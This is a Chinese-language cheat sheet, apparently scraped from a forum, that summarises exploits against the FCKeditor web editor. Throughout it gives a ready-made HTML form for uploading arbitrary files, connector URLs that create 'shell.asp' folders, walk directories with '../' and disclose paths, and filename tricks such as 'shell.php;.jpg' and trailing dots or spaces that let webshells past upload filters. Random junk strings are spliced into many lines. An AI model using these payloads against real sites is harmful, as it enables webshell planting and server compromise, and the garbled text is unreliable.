Fckeditor漏洞利用总结 查看编辑器版本; r, `7 [( r1 u+ i
FCKeditor/_whatsnew.html
/ `+ z# K! ]8 t* B* `————————————————————————————————————————————————————————————— 2. Version 2.2 版本
5 Y' u: N1 X4 K7 AApache+linux 环境下在上传文件后面加个.突破!测试通过。
) Y" X1 ?6 G9 P; f" q————————————————————————————————————————————————————————————— 3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。- s$ o% `& o+ M. s2 ]' R
<form id="frmUpload" enctype="multipart/form-data"4 q; O8 i+ x2 W* m$ J
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
& m+ i+ T/ W G8 s, c& H0 I<input type="file" name="NewFile" size="50"><br>2 M* i% R8 H) ]! u
<input id="btnUpload" type="submit" value="Upload">
+ i3 Q- x& y6 G7 m# v' [</form>
+ m8 O3 H7 E! C. s————————————————————————————————————————————————————————————— 4.FCKeditor 文件上传“.”变“_”下划线的绕过方法/ } {# i1 k0 L
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。* t0 }: v* P( a4 M) n
4.1:提交shell.php+空格绕过
! M+ r3 B, J' M( n不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。1 ?* q% G z1 h W0 ^, r4 O3 L
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
; U& P* l0 S) o' O7 K; `————————————————————————————————————————————————————————————— 5. 突破建立文件夹' U4 y8 K; _; y" [
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756845 G+ ^! X% g2 W
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
0 ^# e5 l, D, m& C————————————————————————————————————————————————————————————— 6. FCKeditor 中test 文件的上传地址* {1 D' x( H: ~/ ?
FCKeditor/editor/filemanager/browser/default/connectors/test.html
7 L, t: N+ v. _) [& } `FCKeditor/editor/filemanager/upload/test.html3 y. E: S$ G7 A$ _
FCKeditor/editor/filemanager/connectors/test.html
7 Q+ H# G0 c# Q' EFCKeditor/editor/filemanager/connectors/uploadtest.html
( P* _' O# V5 {2 Q—————————————————————————————————————————————————————————————/ g, L0 _8 w+ k8 s9 G) Z. `0 h
7.常用上传地址8 x/ F X" A* l1 N* _5 l3 w& C6 u
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/& Q% l' M# {3 S' k- d {3 Y- G$ A
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp6 s9 K3 A$ D: y4 y
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
* S& w/ o6 G% |. HJSP 版:- Z( `/ ]8 g8 ]; n& {
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp" z: }3 B0 y/ x& e9 ^. L
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
4 F: [2 Q5 A% d* b5 I件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
) ?& i) R0 p3 `8 x. F9 b8 w' ~! D————————————————————————————————————————————————————————————— 8.其他上传地址6 E3 ]# B& P6 Z" Z5 L
FCKeditor/_samples/default.html" M* y0 C# k( r e/ `% e. Z
FCKeditor/_samples/asp/sample01.asp
7 A, [4 D! q8 J" sFCKeditor/_samples/asp/sample02.asp+ \7 j' O1 S2 B& p& T
FCKeditor/_samples/asp/sample03.asp% [* h& N$ C% ^! }3 R1 s
FCKeditor/_samples/asp/sample04.asp
& d$ K) ?) E4 l( }一般很多站点都已删除_samples 目录,可以试试。/ ^% s: _# ]. u L, b" q
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。3 M' T# H- F2 j1 Y" a& V
————————————————————————————————————————————————————————————— 9.列目录漏洞也可助找上传地址
# ]( |1 g! X/ y2 Z% l; l7 ^Version 2.4.1 测试通过4 E5 F7 O' j; N0 H/ ]
修改CurrentFolder 参数使用 ../../来进入不同的目录
- s; ?1 w) Z! g+ n4 F' y, d/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
# v( U8 H! v% N, `( Y6 E8 u根据返回的XML 信息可以查看网站所有的目录。
! c) \! q" d, R5 pFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
: Y" @0 m5 S& o" y也可以直接浏览盘符:
. ]0 k' \' ?' k+ C: S1 kJSP 版本:, S( _& g* V+ s" Y
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F/ ~( P* U# N; G% ]/ g
————————————————————————————————————————————————————————————— 10.爆路径漏洞
2 d- U) ?9 u7 ^' q& ^) n/ o( ZFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
) G2 |+ ^4 k" B: @+ i* [& ]————————————————————————————————————————————————————————————— 11. FCKeditor 被动限制策略所导致的过滤不严问题
; N8 i/ c5 Z7 q' j6 H L# U9 R 影响版本: FCKeditor x.x <= FCKeditor v2.4.3
$ E! c( A# A* {脆弱描述:
$ T/ g3 r/ B9 U7 dFCKeditor v2.4.3 中File 类别默认拒绝上传类型:
9 J3 W% w7 D, N/ I$ a; Whtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
8 z# A) }) j' l& F, f6 ~Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!; M0 j* ], d- }1 n9 q/ o3 B
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
- T( u# J: X! U- q) i3 V 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg! |